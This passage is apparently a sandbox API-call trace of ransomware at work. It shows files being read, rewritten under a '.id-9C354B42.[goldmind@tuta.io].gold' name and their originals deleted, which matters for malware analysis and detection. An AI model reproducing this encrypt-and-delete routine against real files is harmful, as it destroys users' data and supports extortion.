lstrlenW (lpString=".docx") returned 5 [0053.797] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.797] lstrlenW (lpString=".pdf") returned 4 [0053.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.797] lstrlenW (lpString=".xls") returned 4 [0053.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.797] lstrlenW (lpString=".xlsx") returned 5 [0053.797] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.797] lstrlenW (lpString=".ppt") returned 4 [0053.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0053.797] lstrlenW (lpString=".zip") returned 4 [0053.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.797] lstrlenW (lpString=".rar") returned 4 [0053.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.797] lstrlenW (lpString=".bz2") returned 4 [0053.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.797] lstrlenW (lpString=".7z") returned 3 [0053.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0053.797] lstrlenW (lpString=".dbf") returned 4 [0053.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0053.797] lstrlenW (lpString=".1cd") returned 4 [0053.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0053.797] lstrlenW (lpString=".jpg") returned 4 [0053.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.798] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.798] lstrlenW (lpString="BL00985_.WMF") returned 12 [0053.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.798] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=3768) returned 1 [0053.798] CloseHandle (hObject=0x210) returned 1 [0053.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x20 [0053.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.798] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.798] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0053.798] GetLastError () returned 0x0 [0053.798] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0xeb8, lpOverlapped=0x0) returned 1 [0053.800] WriteFile (in: hFile=0x1e4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec0, lpOverlapped=0x0) returned 1 [0053.800] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.800] WriteFile (in: hFile=0x1e4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.800] SetEndOfFile (hFile=0x1e4) returned 1 [0053.800] CloseHandle (hObject=0x1e4) returned 1 [0053.801] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.801] SetEndOfFile (hFile=0x210) returned 1 [0053.801] CloseHandle (hObject=0x210) returned 1 [0053.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0053.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0053.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0053.802] lstrlenW (lpString=".doc") returned 4 [0053.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.802] lstrlenW (lpString=".docx") returned 5 [0053.802] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.802] lstrlenW (lpString=".pdf") returned 4 [0053.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.802] lstrlenW (lpString=".xls") returned 4 [0053.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.802] lstrlenW (lpString=".xlsx") returned 5 [0053.802] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.802] lstrlenW (lpString=".ppt") returned 4 [0053.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0053.802] lstrlenW (lpString=".zip") returned 4 [0053.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.802] lstrlenW (lpString=".rar") returned 4 [0053.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.802] lstrlenW (lpString=".bz2") returned 4 [0053.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.802] lstrlenW (lpString=".7z") returned 3 [0053.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0053.802] lstrlenW (lpString=".dbf") returned 4 [0053.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0053.803] lstrlenW (lpString=".1cd") returned 4 [0053.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0053.803] lstrlenW (lpString=".jpg") returned 4 [0053.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0053.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0053.803] lstrlenW (lpString=".doc") returned 4 [0053.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.803] lstrlenW (lpString=".docx") returned 5 [0053.803] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.803] lstrlenW (lpString=".pdf") returned 4 [0053.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.803] lstrlenW (lpString=".xls") returned 4 [0053.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.803] lstrlenW (lpString=".xlsx") returned 5 [0053.803] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.803] lstrlenW (lpString=".ppt") returned 4 [0053.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0053.803] lstrlenW (lpString=".zip") returned 4 [0053.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.803] lstrlenW (lpString=".rar") returned 4 [0053.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.803] lstrlenW (lpString=".bz2") returned 4 [0053.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.803] lstrlenW (lpString=".7z") returned 3 [0053.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0053.803] lstrlenW (lpString=".dbf") returned 4 [0053.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0053.803] lstrlenW (lpString=".1cd") returned 4 [0053.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63 [0053.803] lstrlenW (lpString=".jpg") returned 4 [0053.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.804] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.804] lstrlenW (lpString="BOAT.WMF") returned 8 [0053.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.804] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=3350) returned 1 [0053.804] CloseHandle (hObject=0x210) returned 1 [0053.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 0x20 [0053.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.804] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.804] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0053.805] GetLastError () returned 0x0 [0053.805] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0xd16, lpOverlapped=0x0) returned 1 [0053.806] WriteFile (in: hFile=0x1e4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0053.807] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.807] WriteFile (in: hFile=0x1e4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0053.807] SetEndOfFile (hFile=0x1e4) returned 1 [0053.807] CloseHandle (hObject=0x1e4) returned 1 [0053.807] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.807] SetEndOfFile (hFile=0x210) returned 1 [0053.808] CloseHandle (hObject=0x210) returned 1 [0053.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 1 [0053.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0053.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0053.808] lstrlenW (lpString=".doc") returned 4 [0053.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.808] lstrlenW (lpString=".docx") returned 5 [0053.808] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0053.808] lstrlenW (lpString=".pdf") returned 4 [0053.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.808] lstrlenW (lpString=".xls") returned 4 [0053.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.808] lstrlenW (lpString=".xlsx") returned 5 [0053.808] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0053.808] lstrlenW (lpString=".ppt") returned 4 [0053.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0053.808] lstrlenW (lpString=".zip") returned 4 [0053.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.808] lstrlenW (lpString=".rar") returned 4 [0053.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.808] lstrlenW (lpString=".bz2") returned 4 [0053.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.808] lstrlenW (lpString=".7z") returned 3 [0053.808] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0053.808] lstrlenW (lpString=".dbf") returned 4 [0053.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0053.808] lstrlenW (lpString=".1cd") returned 4 [0053.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0053.809] lstrlenW (lpString=".jpg") returned 4 [0053.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0053.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0053.809] lstrlenW (lpString=".doc") returned 4 [0053.809] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.809] lstrlenW (lpString=".docx") returned 5 [0053.809] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0053.809] lstrlenW (lpString=".pdf") returned 4 [0053.809] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.809] lstrlenW (lpString=".xls") returned 4 [0053.809] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.809] lstrlenW (lpString=".xlsx") returned 5 [0053.809] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0053.809] lstrlenW (lpString=".ppt") returned 4 [0053.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0053.809] lstrlenW (lpString=".zip") returned 4 [0053.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.809] lstrlenW (lpString=".rar") returned 4 [0053.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.809] lstrlenW (lpString=".bz2") returned 4 [0053.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.809] lstrlenW (lpString=".7z") returned 3 [0053.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0053.809] lstrlenW (lpString=".dbf") returned 4 [0053.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0053.809] lstrlenW (lpString=".1cd") returned 4 [0053.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0053.809] lstrlenW (lpString=".jpg") returned 4 [0053.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.809] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.809] lstrlenW (lpString="BOATINST.WMF") returned 12 [0053.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.810] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=29004) returned 1 [0053.810] CloseHandle (hObject=0x210) returned 1 [0053.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 0x20 [0053.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.810] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.810] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0053.810] GetLastError () returned 0x0 [0053.810] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x714c, lpOverlapped=0x0) returned 1 [0053.812] WriteFile (in: hFile=0x1e4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x7150, lpOverlapped=0x0) returned 1 [0053.813] ReadFile (in: hFile=0x210, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.813] WriteFile (in: hFile=0x1e4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.813] SetEndOfFile (hFile=0x1e4) returned 1 [0053.813] CloseHandle (hObject=0x1e4) returned 1 [0053.813] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.813] SetEndOfFile (hFile=0x210) returned 1 [0053.814] CloseHandle (hObject=0x210) returned 1 [0053.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0053.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0053.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0053.815] lstrlenW (lpString=".doc") returned 4 [0053.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.815] lstrlenW (lpString=".docx") returned 5 [0053.815] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0053.815] lstrlenW (lpString=".pdf") returned 4 [0053.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.815] lstrlenW (lpString=".xls") returned 4 [0053.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.815] lstrlenW (lpString=".xlsx") returned 5 [0053.815] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0053.815] lstrlenW (lpString=".ppt") returned 4 [0053.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0053.815] lstrlenW (lpString=".zip") returned 4 [0053.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.815] lstrlenW (lpString=".rar") returned 4 [0053.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.815] lstrlenW (lpString=".bz2") returned 4 [0053.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.815] lstrlenW (lpString=".7z") returned 3 [0053.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0053.815] lstrlenW (lpString=".dbf") returned 4 [0053.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0053.815] lstrlenW (lpString=".1cd") returned 4 [0053.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0053.815] lstrlenW (lpString=".jpg") returned 4 [0053.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0053.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0053.815] lstrlenW (lpString=".doc") returned 4 [0053.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.815] lstrlenW (lpString=".docx") returned 5 [0053.815] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0053.815] lstrlenW (lpString=".pdf") returned 4 [0053.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.815] lstrlenW (lpString=".xls") returned 4 [0053.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.815] lstrlenW (lpString=".xlsx") returned 5 [0053.815] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0053.815] lstrlenW (lpString=".ppt") returned 4 [0053.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0053.816] lstrlenW (lpString=".zip") returned 4 [0053.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.816] lstrlenW (lpString=".rar") returned 4 [0053.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.816] lstrlenW (lpString=".bz2") returned 4 [0053.816] 